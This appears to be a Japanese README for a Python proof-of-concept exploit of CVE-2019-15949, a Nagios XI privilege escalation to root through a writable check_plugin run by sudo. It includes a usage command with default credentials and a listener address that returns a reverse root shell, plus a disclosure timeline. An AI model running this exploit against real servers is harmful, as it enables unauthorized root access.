
Nagios CVE-2019-15949 の rce 用 PoC(python 製)
CVE-2019-15949 の Python PoC
Nagios XI <= 5.6.5 には、攻撃者が RCE を利用して root への権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、'nagios' ユーザーとしてサーバーにアクセスできるか、プラグイン管理の権限を持つ Web インターフェース経由での CCM アクセスが必要です。
getprofile.sh スクリプトは、システムプロファイルのダウンロード (profile.php?cmd=download) によって呼び出され、パスワードなしの sudo エントリを介して root として実行されます。このスクリプトは、nagios ユーザーが所有する ‘check_plugin’ 実行可能ファイルを実行します。プラグインを変更する権限を持つ Nagios XI にログインしたユーザー、またはサーバー上の 'nagios' ユーザーは、‘check_plugin’ 実行可能ファイルを変更し、root として実行可能な悪意のあるコマンドを挿入できます。
リバース root シェルを実現するペイロードをアップロードする PHP POC が開発されました。 使用方法:
python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport
例:
python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444
Nagios への報告日: 2019年7月29日 Nagios による確認日: 2019年7月29日 修正バージョン: 5.6.6、修正日: 2019年8月20日 CVE 発行日: 2019年9月6日 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)